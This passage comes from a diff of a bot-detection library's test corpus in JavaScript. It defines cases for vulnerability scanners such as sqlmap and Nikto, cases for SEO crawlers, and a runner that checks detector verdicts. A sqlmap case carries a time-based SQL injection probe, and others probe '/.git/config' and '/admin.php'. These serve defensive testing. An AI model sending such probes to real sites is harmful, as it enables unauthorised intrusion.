// Security tooling. A hit proves automation, not malice — you may be scanning
|
|
3677
|
+
// yourself, which is what the allowlist is for.
|
|
3678
|
+
// ---------------------------------------------------------------------------
|
|
3679
|
+
bot({
|
|
3680
|
+
id: "sqlmap",
|
|
3681
|
+
title: "sqlmap",
|
|
3682
|
+
audience: "hostile",
|
|
3683
|
+
category: "scanner",
|
|
3684
|
+
provenance: "The standard SQL injection tool; announces itself by default",
|
|
3685
|
+
requests: [{ ...plain("sqlmap/1.8.11#stable (https://sqlmap.org)"), path: "/products?id=1%27%20AND%20SLEEP(5)--" }],
|
|
3686
|
+
expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true, identity: "sqlmap" }
|
|
3687
|
+
}),
|
|
3688
|
+
bot({
|
|
3689
|
+
id: "nikto",
|
|
3690
|
+
title: "Nikto",
|
|
3691
|
+
audience: "hostile",
|
|
3692
|
+
category: "scanner",
|
|
3693
|
+
provenance: "Web server scanner; the UA embeds a Mozilla/5.00 typo that has never been fixed",
|
|
3694
|
+
requests: [{ ...plain("Mozilla/5.00 (Nikto/2.5.0) (Evasions:None) (Test:Port Check)"), path: "/admin.php" }],
|
|
3695
|
+
expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true, identity: "nikto" }
|
|
3696
|
+
}),
|
|
3697
|
+
bot({
|
|
3698
|
+
id: "nuclei",
|
|
3699
|
+
title: "Nuclei",
|
|
3700
|
+
audience: "hostile",
|
|
3701
|
+
category: "scanner",
|
|
3702
|
+
provenance: "Template-driven vulnerability scanner from ProjectDiscovery",
|
|
3703
|
+
requests: [{ ...plain("Nuclei - Open-source project (github.com/projectdiscovery/nuclei)"), path: "/.git/config" }],
|
|
3704
|
+
expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true, identity: "nuclei" }
|
|
3705
|
+
}),
|
|
3706
|
+
bot({
|
|
3707
|
+
id: "gobuster",
|
|
3708
|
+
title: "Directory brute-forcing with gobuster",
|
|
3709
|
+
audience: "hostile",
|
|
3710
|
+
category: "scanner",
|
|
3711
|
+
provenance: "Content discovery tool",
|
|
3712
|
+
requests: [{ ...plain("gobuster/3.6"), path: "/backup" }],
|
|
3713
|
+
expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true }
|
|
3714
|
+
}),
|
|
3715
|
+
bot({
|
|
3716
|
+
id: "acunetix",
|
|
3717
|
+
title: "Acunetix",
|
|
3718
|
+
audience: "hostile",
|
|
3719
|
+
category: "scanner",
|
|
3720
|
+
provenance: "Commercial DAST scanner",
|
|
3721
|
+
requests: [plain("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 acunetix-product")],
|
|
3722
|
+
expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true }
|
|
3723
|
+
}),
|
|
3724
|
+
bot({
|
|
3725
|
+
id: "masscan",
|
|
3726
|
+
title: "masscan hitting an HTTP port",
|
|
3727
|
+
audience: "hostile",
|
|
3728
|
+
category: "scanner",
|
|
3729
|
+
provenance: "Internet-wide port scanner",
|
|
3730
|
+
requests: [{ headers: [["Host", "shop.example"], ["User-Agent", "masscan/1.3 (https://github.com/robertdavidgraham/masscan)"], ["Accept", "*/*"]], protocol: "http", httpVersion: "1.1" }],
|
|
3731
|
+
expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true }
|
|
3732
|
+
}),
|
|
3733
|
+
bot({
|
|
3734
|
+
id: "censys-scanner",
|
|
3735
|
+
title: "Censys internet-wide measurement",
|
|
3736
|
+
audience: "hostile",
|
|
3737
|
+
category: "scanner",
|
|
3738
|
+
provenance: "Research scanning that publishes an opt-out address",
|
|
3739
|
+
notes: "Classified alongside scanners because that is what it is, but it is a research project that honours opt-outs \u2014 a good candidate for your allowlist rather than a block.",
|
|
3740
|
+
requests: [plain("Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)")],
|
|
3741
|
+
expect: { verdict: "confirmed-bot", botClass: "scanner", certain: true }
|
|
3742
|
+
}),
|
|
3743
|
+
bot({
|
|
3744
|
+
id: "internet-measurement",
|
|
3745
|
+
title: "Anonymous internet measurement",
|
|
3746
|
+
audience: "hostile",
|
|
3747
|
+
category: "scanner",
|
|
3748
|
+
provenance: "Driftnet and similar projects scan the whole address space continuously",
|
|
3749
|
+
requests: [plain("Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)")],
|
|
3750
|
+
expect: { verdict: "confirmed-bot", certain: true }
|
|
3751
|
+
})
|
|
3752
|
+
];
|
|
3753
|
+
|
|
3754
|
+
// src/corpus/unwanted.ts
|
|
3755
|
+
function seo(id, title, userAgent, identity, provenance, notes) {
|
|
3756
|
+
return bot({
|
|
3757
|
+
id,
|
|
3758
|
+
title,
|
|
3759
|
+
audience: "unwanted-bot",
|
|
3760
|
+
category: "seo-crawler",
|
|
3761
|
+
provenance,
|
|
3762
|
+
...notes !== void 0 ? { notes } : {},
|
|
3763
|
+
requests: [plain(userAgent)],
|
|
3764
|
+
expect: { verdict: "confirmed-bot", certain: true, identity, detectors: ["self-identified"] }
|
|
3765
|
+
});
|
|
3766
|
+
}
|
|
3767
|
+
var UNWANTED_BOT_CASES = [
|
|
3768
|
+
seo("ahrefsbot", "AhrefsBot", "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)", "ahrefsbot", "Backlink index crawler; publishes FCrDNS under ahrefs.com, so it is one of the few here that can actually be verified"),
|
|
3769
|
+
seo("ahrefs-site-audit", "AhrefsSiteAudit", "Mozilla/5.0 (compatible; AhrefsSiteAudit/6.1; +http://ahrefs.com/robot/site-audit)", "ahrefsbot", "Runs when somebody audits your site \u2014 possibly you"),
|
|
3770
|
+
seo("semrushbot", "SemrushBot", "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)", "semrushbot", "Competitive research crawler"),
|
|
3771
|
+
seo("mj12bot", "MJ12bot", "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)", "mj12bot", "Majestic's distributed crawler \u2014 it runs on volunteers' machines, so it arrives from residential addresses"),
|
|
3772
|
+
seo("dotbot", "DotBot", "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)", "dotbot", "Feeds Moz's link index and Open Site Explorer"),
|
|
3773
|
+
seo("blexbot", "BLEXBot", "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)", "blexbot", "Link research crawler feeding a backlink index"),
|
|
3774
|
+
seo("dataforseo", "DataForSeoBot", "Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot)", "dataforseo", "SERP and backlink data as a service"),
|
|
3775
|
+
seo("serpstatbot", "Serpstatbot", "serpstatbot/2.1 (advanced backlink tracking bot; https://serpstatbot.com/; abuse@serpstatbot.com)", "serpstatbot", "Backlink tracking for an SEO analytics product"),
|
|
3776
|
+
seo("barkrowler", "Barkrowler", "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)", "barkrowler", "Builds a link graph for the Babbar SEO product"),
|
|
3777
|
+
seo("zoominfobot", "ZoominfoBot", "ZoominfoBot (zoominfobot at zoominfo dot com)", "zoominfobot", "Harvests contact data for a sales product \u2014 a crawler many sites decline on privacy grounds rather than cost"),
|
|
3778
|
+
bot({
|
|
3779
|
+
id: "seo-crawler-aggressive-rate",
|
|
3780
|
+
title: "An SEO crawler ignoring Crawl-delay",
|
|
3781
|
+
audience: "unwanted-bot",
|
|
3782
|
+
category: "seo-crawler",
|
|
3783
|
+
provenance: "Declared crawlers sometimes crawl far faster than a site can comfortably serve",
|
|
3784
|
+
notes: "Honest and inconsiderate at once. The right answer is a rate limit, not a block: it identified itself truthfully, and the problem is throughput rather than deception.",
|
|
3785
|
+
requests: Array.from({ length: 40 }, (_, index) => ({
|
|
3786
|
+
...plain("Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)"),
|
|
3787
|
+
path: `/products/${index + 1}`,
|
|
3788
|
+
atMs: index * 120
|
|
3789
|
+
})),
|
|
3790
|
+
expect: { verdict: "confirmed-bot", certain: true, identity: "semrushbot" }
|
|
3791
|
+
}),
|
|
3792
|
+
bot({
|
|
3793
|
+
id: "unrecognised-polite-crawler",
|
|
3794
|
+
title: "A crawler nobody has heard of that follows the conventions",
|
|
3795
|
+
audience: "declared-bot",
|
|
3796
|
+
category: "unknown-crawler",
|
|
3797
|
+
provenance: "New crawlers appear constantly; the convention of naming yourself and publishing a contact URL does not change",
|
|
3798
|
+
notes: "Not in any signature database and correctly handled anyway. Word plus contact address is a declaration, so it reaches `certain` on structure alone \u2014 which is what keeps the library useful as the world adds crawlers.",
|
|
3799
|
+
requests: [plain("Mozilla/5.0 (compatible; NewIndexBot/0.4; +https://newindex.example/about-our-crawler)")],
|
|
3800
|
+
expect: { verdict: "confirmed-bot", botClass: "declared-bot", certain: true }
|
|
3801
|
+
}),
|
|
3802
|
+
bot({
|
|
3803
|
+
id: "crawler-word-without-contact",
|
|
3804
|
+
title: "A crawler-ish name with no contact address",
|
|
3805
|
+
audience: "unwanted-bot",
|
|
3806
|
+
category: "unknown-crawler",
|
|
3807
|
+
provenance: "Half of the convention followed",
|
|
3808
|
+
notes: "Suggestive, not conclusive. Without the contact address there is no declaration of intent, only a word.",
|
|
3809
|
+
requests: [plain("Mozilla/5.0 (compatible; Some Spider 1.0)")],
|
|
3810
|
+
expect: { verdict: "suspected-bot", certain: false, botClass: "declared-bot", minScore: 55 }
|
|
3811
|
+
})
|
|
3812
|
+
];
|
|
3813
|
+
|
|
3814
|
+
// src/corpus/runner.ts
|
|
3815
|
+
init_clock();
|
|
3816
|
+
init_facts();
|
|
3817
|
+
var DEFAULT_START = Date.UTC(2026, 7, 30, 9, 0, 0);
|
|
3818
|
+
function addressFor(id) {
|
|
3819
|
+
let hash = 2166136261;
|
|
3820
|
+
for (let i = 0; i < id.length; i++) {
|
|
3821
|
+
hash ^= id.charCodeAt(i);
|
|
3822
|
+
hash = Math.imul(hash, 16777619);
|
|
3823
|
+
}
|
|
3824
|
+
const value = hash >>> 0;
|
|
3825
|
+
return `198.18.${value >> 8 & 255}.${value & 255 || 1}`;
|
|
3826
|
+
}
|
|
3827
|
+
function caseResolver(current) {
|
|
3828
|
+
const notFound = () => {
|
|
3829
|
+
throw Object.assign(new Error("not found"), { code: "ENOTFOUND" });
|
|
3830
|
+
};
|
|
3831
|
+
const unavailable = () => {
|
|
3832
|
+
throw Object.assign(new Error("timed out"), { code: "ETIMEOUT" });
|
|
3833
|
+
};
|
|
3834
|
+
return {
|
|
3835
|
+
async reverse(ip) {
|
|
3836
|
+
const dns = current()?.dns;
|
|
3837
|
+
if (dns === void 0) return notFound();
|
|
3838
|
+
if (dns.unavailable === true) return unavailable();
|
|
3839
|
+
const names = dns.reverse?.[ip];
|
|
3840
|
+
return names === void 0 ? notFound() : [...names];
|
|
3841
|
+
},
|
|
3842
|
+
async resolveAddresses(hostname) {
|
|
3843
|
+
const dns = current()?.dns;
|
|
3844
|
+
if (dns === void 0) return notFound();
|
|
3845
|
+
if (dns.unavailable === true) return unavailable();
|
|
3846
|
+
const addresses = dns.forward?.[hostname];
|
|
3847
|
+
return addresses === void 0 ? notFound() : [...addresses];
|
|
3848
|
+
}
|
|
3849
|
+
};
|
|
3850
|
+
}
|
|
3851
|
+
function toFacts(request, fallbackIp, timestamp) {
|
|
3852
|
+
const headers = {};
|
|
3853
|
+
const order = [];
|
|
3854
|
+
for (const [name, value] of request.headers) {
|
|
3855
|
+
const key = name.toLowerCase();
|
|
3856
|
+
const existing = headers[key];
|
|
3857
|
+
headers[key] = existing === void 0 ? value : Array.isArray(existing) ? [...existing, value] : [existing, value];
|
|
3858
|
+
order.push(name);
|
|
3859
|
+
}
|
|
3860
|
+
return createFacts({
|
|
3861
|
+
method: request.method ?? "GET",
|
|
3862
|
+
url: request.path ?? "/",
|
|
3863
|
+
headers,
|
|
3864
|
+
rawHeaders: order,
|
|
3865
|
+
ip: request.ip ?? fallbackIp,
|
|
3866
|
+
timestamp,
|
|
3867
|
+
protocol: request.protocol ?? "https",
|
|
3868
|
+
httpVersion: request.httpVersion ?? "1.1",
|
|
3869
|
+
...request.tlsFingerprint !== void 0 ? { tlsFingerprint: request.tlsFingerprint } : {},
|
|
3870
|
+
...request.partialHeaders === true ? { partialHeaders: true } : {}
|
|
3871
|
+
});
|
|
3872
|
+
}
|
|
3873
|
+
function asArray(value) {
|
|
3874
|
+
if (value === void 0) return void 0;
|
|
3875
|
+
return Array.isArray(value) ? value : [value];
|
|
3876
|
+
}
|
|
3877
|
+
function checkExpectations(item, result, assertActions) {
|
|
3878
|
+
const { assessment, decision, outcome } = result;
|
|
3879
|
+
const expect = item.expect;
|
|
3880
|
+
const failures = [];
|
|
3881
|
+
const verdicts = asArray(expect.verdict);
|
|
3882
|
+
if (verdicts && !verdicts.includes(assessment.verdict)) {
|
|
3883
|
+
failures.push(`verdict was "${assessment.verdict}", expected ${verdicts.map((v) => `"${v}"`).join(" or ")}`);
|
|
3884
|
+
}
|
|
3885
|
+
const classes = asArray(expect.botClass);
|
|
3886
|
+
if (classes && !classes.includes(assessment.botClass)) {
|
|
3887
|
+
failures.push(`botClass was "${assessment.botClass}", expected ${classes.map((c) => `"${c}"`).join(" or ")}`);
|
|
3888
|
+
}
|
|
3889
|
+
if (expect.certain !== void 0 && assessment.certain !== expect.certain) {
|
|
3890
|
+
failures.push(`certain was ${assessment.certain}, expected ${expect.certain}`);
|
|
3891
|
+
}
|
|
3892
|
+
if (expect.identity !== void 0) {
|
|
3893
|
+
const identities = new Set([assessment.identity, ...assessment.evidence.map((e) => e.identity)].filter(Boolean));
|
|
3894
|
+
if (!identities.has(expect.identity)) {
|
|
3895
|
+
failures.push(`identity "${expect.identity}" not established (saw ${[...identities].join(", ") || "none"})`);
|
|
3896
|
+
}
|
|
3897
|
+
}
|
|
3898
|
+
if (expect.minScore !== void 0 && assessment.score < expect.minScore) {
|
|
3899
|
+
failures.push(`score was ${assessment.score}, expected at least ${expect.minScore}`);
|
|
3900
|
+
}
|
|
3901
|
+
if (expect.maxScore !== void 0 && assessment.score > expect.maxScore) {
|
|
3902
|
+
failures.push(`score was ${assessment.score}, expected at most ${expect.maxScore}`);
|
|
3903
|
+
}
|
|
3904
|
+
const fired = new Set([...assessment.evidence, ...assessment.humanEvidence].map((e) => e.detector));
|
|
3905
|
+
for (const detector of expect.detectors ?? []) {
|
|
3906
|
+
if (!fired.has(detector)) failures.push(`expected detector "${detector}" to fire; it did not (fired: ${[...fired].join(", ") || "none"})`);
|
|
3907
|
+
}
|
|
3908
|
+
for (const detector of expect.notDetectors ?? []) {
|
|
3909
|
+
if (fired.has(detector)) {
|
|
3910
|
+
const summary = [...assessment.evidence, ...assessment.humanEvidence].find((e) => e.detector === detector)?.summary ?? "";
|
|
3911
|
+
failures.push(`detector "${detector}" fired but should not have: ${summary}`);
|
|
3912
|
+
}
|
|
3913
|
+
}
|
|
3914
|
+
const actions = assertActions ? asArray(expect.action) : void 0;
|
|
3915
|
+
if (actions && !actions.includes(decision.action)) {
|
|
3916
|
+
failures.push(`action was "${decision.action}" (rule "${decision.rule}"), expected ${actions.map((a) => `"${a}"`).join(" or ")}`);
|
|
3917
|
+
}
|
|
3918
|
+
for (const action of expect.neverAction ?? []) {
|
|
3919
|
+
if (decision.action === action) failures.push(`action "${action}" is forbidden for this case (rule "${decision.rule}")`);
|
|
3920
|
+
}
|
|
3921
|
+
if (expect.outcome !== void 0 && outcome.kind !== expect.outcome) {
|
|
3922
|
+
failures.push(`outcome was "${outcome.kind}", expected "${expect.outcome}" (decision was "${decision.action}")`);
|
|
3923
|
+
}
|
|
3924
|
+
return failures;
|
|
3925
|
+
}
|
|
3926
|
+
async function runCase(handler, clock, item, startedAt, provides, assertActions = true) {
|
|
3927
|
+
const missing = (item.requires ?? []).filter((capability) => !provides.has(capability));
|
|
3928
|
+
if (missing.length > 0) {
|
|
3929
|
+
return {
|
|
3930
|
+
case: item,
|
|
3931
|
+
requests: [],
|
|
3932
|
+
final: void 0,
|
|
3933
|
+
failures: [],
|
|
3934
|
+
falsePositive: false,
|
|
3935
|
+
skipped: `needs configuration this handler does not provide: ${missing.join(", ")}`,
|
|
3936
|
+
durationMs: 0
|
|
3937
|
+
};
|
|
3938
|
+
}
|
|
3939
|
+
const fallbackIp = addressFor(item.id);
|
|
3940
|
+
const requests = [];
|
|
3941
|
+
const began = performance.now();
|
|
3942
|
+
let clearanceCookie;
|
|
3943
|
+
if (item.clearance !== void 0) {
|
|
3944
|
+
clock.set(startedAt);
|
|
3945
|
+
const seed = toFacts(item.requests[0], fallbackIp, clock.now());
|
|
3946
|
+
clearanceCookie = handler.grantClearance(seed, item.clearance)?.split(";")[0];
|
|
3947
|
+
}
|
|
3948
|
+
for (const request of item.requests) {
|
|
3949
|
+
clock.set(startedAt + (request.atMs ?? 0));
|
|
3950
|
+
const withClearance = clearanceCookie === void 0 ? request : { ...request, headers: [...request.headers, ["Cookie", clearanceCookie]] };
|
|
3951
|
+
const facts = toFacts(withClearance, fallbackIp, clock.now());
|
|
3952
|
+
const { assessment, decision, outcome } = await handler.handle(facts);
|
|
3953
|
+
requests.push({ assessment, decision, outcome });
|
|
3954
|
+
}
|
|
3955
|
+
const final = requests[requests.length - 1];
|
|
3956
|
+
const failures = checkExpectations(item, final, assertActions);
|
|
3957
|
+
let falsePositive = false;
|
|
3958
|
+
if (item.audience === "human" && item.selfDeclared === void 0) {
|
|
3959
|
+
for (const [index, result] of requests.entries()) {
|
|
3960
|
+
if (DENYING_ACTIONS.includes(result.decision.action)) {
|
|
3961
|
+
falsePositive = true;
|
|
3962
|
+
failures.push(
|
|
3963
|
+
`FALSE POSITIVE: request ${index + 1}/${requests.length} from a person was ${result.decision.action}ed by rule "${result.decision.rule}" (${result.assessment.verdict}, ${result.assessment.certain ? "proven" : `score ${result.assessment.score}`})`
|
|
3964
|
+
);
|
|
3965
|
+
}
|
|
3966
|
+
}
|
|
3967
|
+
}
|
|
3968
|
+
return { case: item, requests, final, failures, falsePositive, durationMs: performance.now() - began };
|
|
3969
|
+
}
|
|
3970
|
+
var AUDIENCES = ["human", "benign-bot", "declared-bot", "unwanted-bot", "hostile", "infrastructure"];
|
|
3971
|
+
async function runCorpus(options) {
|
|
3972
|
+
const cases = options.cases ?? CORPUS;
|
|
3973
|
+
assertCorpusIntegrity(cases);
|
|
3974
|
+
const startedAt = options.startedAt ?? DEFAULT_START;
|
|
3975
|
+
const clock = new ManualClock(startedAt);
|
|
3976
|
+
let current;
|
|
3977
|
+
const handler = options.create({ resolver: caseResolver(() => current), clock });
|
|
3978
|
+
if (options.applyCorpusRanges !== false) {
|
|
3979
|
+
for (const [id, entries] of Object.entries(CORPUS_CRAWLER_RANGES)) handler.updateCrawlerRanges(id, entries);
|
|
3980
|
+
}
|
|
3981
|
+
const provides = new Set(options.provides ?? []);
|
|
3982
|
+
if (options.applyCorpusRanges !== false) provides.add("crawler-ranges");
|
|
3983
|
+
const began = performance.now();
|
|
3984
|
+
const results = [];
|
|
3985
|
+
for (const item of cases) {
|
|
3986
|
+
current = item;
|
|
3987
|
+
results.push(await runCase(handler, clock, item, startedAt, provides, options.assertActions !== false));
|
|
3988
|
+
}
|
|
3989
|
+
current = void 0;
|
|
3990
|
+
const byAudience = Object.fromEntries(AUDIENCES.map((audience) => [audience, { total: 0, passed: 0, failed: 0, actions: {} }]));
|
|
3991
|
+
const byCategory = {};
|
|
3992
|
+
const detectorCoverage = {};
|
|
3993
|
+
let passed = 0;
|
|
3994
|
+
let provenTotal = 0;
|
|
3995
|
+
let proven = 0;
|
|
3996
|
+
for (const result of results) {
|
|
3997
|
+
if (result.skipped !== void 0) continue;
|
|
3998
|
+
const tally = byAudience[result.case.audience];
|
|
3999
|
+
tally.total++;
|
|
4000
|
+
const action = result.final.decision.action;
|
|
4001
|
+
tally.actions[action] = (tally.actions[action] ?? 0) + 1;
|
|
4002
|
+
const category = byCategory[result.case.category] ??= { total: 0, failed: 0 };
|
|
4003
|
+
category.total++;
|
|
4004
|
+
if (result.failures.length === 0) {
|
|
4005
|
+
passed++;
|
|
4006
|
+
tally.passed++;
|
|
4007
|
+
} else {
|
|
4008
|
+
tally.failed++;
|
|
4009
|
+
category.failed++;
|
|
4010
|
+
}
|
|
4011
|
+
const fired = /* @__PURE__ */ new Set();
|
|
4012
|
+
for (const request of result.requests) {
|
|
4013
|
+
for (const item of [...request.assessment.evidence, ...request.assessment.humanEvidence]) fired.add(item.detector);
|
|
4014
|
+
}
|
|
4015
|
+
for (const detector of fired) detectorCoverage[detector] = (detectorCoverage[detector] ?? 0) + 1;
|
|
4016
|
+
if (result.case.audience !== "human" && result.case.audience !== "infrastructure") {
|
|
4017
|
+
provenTotal++;
|
|
4018
|
+
if (result.final.assessment.certain) proven++;
|
|
4019
|
+
}
|
|
4020
|
+
}
|
|
4021
|
+
const installed = handler.describeDetectors().map((entry) => entry.id);
|
|
4022
|
+
const unexercisedDetectors = installed.filter((id) => detectorCoverage[id] === void 0);
|
|
4023
|
+
const skipped = results.filter((result) => result.skipped !== void 0);
|
|
4024
|
+
return {
|
|
4025
|
+
results,
|
|
4026
|
+
total: results.length - skipped.length,
|
|
4027
|
+
passed,
|
|
4028
|
+
failed: results.length - skipped.length - passed,
|
|
4029
|
+
falsePositives: results.filter((result) => result.falsePositive),
|
|
4030
|
+
selfDeclaredHumans: results.filter((result) => result.case.audience === "human" && result.case.selfDeclared !== void 0),
|
|
4031
|
+
skipped,
|
|
4032
|
+
byAudience,
|
|
4033
|
+
byCategory,
|
|
4034
|
+
detectorCoverage,
|
|
4035
|
+
unexercisedDetectors,
|
|
4036
|
+
provenAutomation: { total: provenTotal, proven },
|
|
4037
|
+
durationMs: performance.now() - began
|
|
4038
|
+
};
|
|
4039
|
+
}
|
|
4040
|
+
|
|
4041
|
+
// src/corpus/index.ts
|
|
4042
|
+
var CORPUS = Object.freeze([
|
|
4043
|
+
...HUMAN_CASES,
|
|
4044
|
+
...HUMAN_BROWSER_CASES,
|
|
4045
|
+
...HUMAN_APP_CASES,
|
|
4046
|
+
...BENIGN_BOT_CASES,
|
|
4047
|
+
...REGIONAL_CRAWLER_CASES,
|
|
4048
|
+
...VERTICAL_CRAWLER_CASES,
|
|
4049
|
+
...ADVERTISING_EMAIL_CASES,
|
|
4050
|
+
...CDN_GATEWAY_CASES,
|
|
4051
|
+
...AI_CRAWLER_CASES,
|
|
4052
|
+
...UNWANTED_BOT_CASES,
|
|
4053
|
+
...TOOLING_CASES,
|
|
4054
|
+
...EXTENDED_LIBRARY_CASES,
|
|
4055
|
+
...ADVERSARIAL_CASES,
|
|
4056
|
+
...INFRASTRUCTURE_CASES,
|
|
4057
|
+
...REPUTATION_CASES
|
|
4058
|
+
]);
|
|
4059
|
+
var AUDIENCE_STAKES = {
|
|
4060
|
+
human: "A person. Denying one is a customer turned away, and the corpus treats it as a hard failure.",
|
|
4061
|
+
"benign-bot": "Automation you want. Denying one costs search ranking, share previews, or a monitor that lies about being green.",
|
|
4062
|
+
"declared-bot": "Honest automation. How you treat it is a business decision; the library only has to name it correctly.",
|
|
4063
|
+
"unwanted-bot": "Automation most sites decline. Blocking it is safe when \u2014 and only when \u2014 it declared itself.",
|
|
4064
|
+
hostile: "Scanners, forgeries and credential attacks. Denying these is the point.",
|
|
4065
|
+
infrastructure: "Your own machinery. Usually belongs in `ignorePaths` or the allowlist rather than in front of a detector."
|
|
4066
|
+
};
|
|
4067
|
+
function assertCorpusIntegrity(cases = CORPUS) {
|
|
4068
|
+
const seen = /* @__PURE__ */ new Map();
|
|
4069
|
+
const problems = [];
|
|
4070
|
+
for (const item of cases) {
|
|
4071
|
+
const previous = seen.get(item.id);
|
|
4072
|
+
if (previous) problems.push(`duplicate id "${item.id}" (${previous.title} / ${item.title})`);
|
|
4073
|
+
seen.set(item.id, item);
|
|
4074
|
+
if (item.requests.length === 0) problems.push(`case "${item.id}" has no requests`);
|
|
4075
|
+
if (item.provenance.trim().length === 0) problems.push(`case "${item.id}" has no provenance`);
|
|
4076
|
+
if (!/^[a-z0-9][a-z0-9-]*$/.test(item.id)) problems.push(`case id "${item.id}" is not kebab-case`);
|
|
4077
|
+
}
|
|
4078
|
+
if (problems.length > 0) throw new Error(`Corpus integrity problems:
|
|
4079
|
+
- ${problems.join("\n - ")}`);
|
|
4080
|
+
}
|
|
4081
|
+
function casesByAudience(audience, cases = CORPUS) {
|
|
4082
|
+
return cases.filter((item) => item.audience === audience);
|
|
4083
|
+
}
|
|
4084
|
+
function casesByTag(tag, cases = CORPUS) {
|
|
4085
|
+
return cases.filter((item) => item.tags?.includes(tag) === true);
|
|
4086
|
+
}
|
|
4087
|
+
function categories(cases = CORPUS) {
|
|
4088
|
+
return [...new Set(cases.map((item) => item.category))].sort();
|
|
4089
|
+
}
|
|
4090
|
+
export {
|
|
4091
|
+
ADVERSARIAL_CASES,
|
|
4092
|
+
ADVERTISING_EMAIL_CASES,
|
|
4093
|
+
AI_CRAWLER_CASES,
|
|
4094
|
+
AUDIENCE_STAKES,
|
|
4095
|
+
BENIGN_BOT_CASES,
|
|
4096
|
+
BINGBOT_IP,
|
|
4097
|
+
BINGBOT_PTR,
|
|
4098
|
+
CDN_GATEWAY_CASES,
|
|
4099
|
+
CORPUS,
|
|
4100
|
+
CORPUS_CRAWLER_RANGES,
|
|
4101
|
+
DENYING_ACTIONS,
|
|
4102
|
+
EXTENDED_LIBRARY_CASES,
|
|
4103
|
+
GOOGLEBOT_IP,
|
|
4104
|
+
GOOGLEBOT_PTR,
|
|
4105
|
+
HUMAN_APP_CASES,
|
|
4106
|
+
HUMAN_BROWSER_CASES,
|
|
4107
|
+
HUMAN_CASES,
|
|
4108
|
+
INFRASTRUCTURE_CASES,
|
|
4109
|
+
IN_RANGE,
|
|
4110
|
+
OUT_OF_RANGE,
|
|
4111
|
+
PROFILES,
|
|
4112
|
+
PROFILE_NAMES,
|
|
4113
|
+
REGIONAL_CRAWLER_CASES,
|
|
4114
|
+
REPUTATION_CASES,
|
|
4115
|
+
TOOLING_CASES,
|
|
4116
|
+
UNWANTED_BOT_CASES,
|
|
4117
|
+
VERTICAL_CRAWLER_CASES,
|
|
4118
|
+
assertCorpusIntegrity,
|
|
4119
|
+
bot,
|
|
4120
|
+
browser,
|
|
4121
|
+
casesByAudience,
|
|
4122
|
+
casesByTag,
|
|
4123
|
+
categories,
|
|
4124
|
+
crawler,
|
|
4125
|
+
human,
|
|
4126
|
+
humanPaced,
|
|
4127
|
+
plain,
|
|
4128
|
+
repeat,
|
|
4129
|
+
runCorpus,
|
|
4130
|
+
userAgentOf
|
|
4131
|
+
};
|
|
4132
|
+
//# sourceMappingURL=index.js.map
|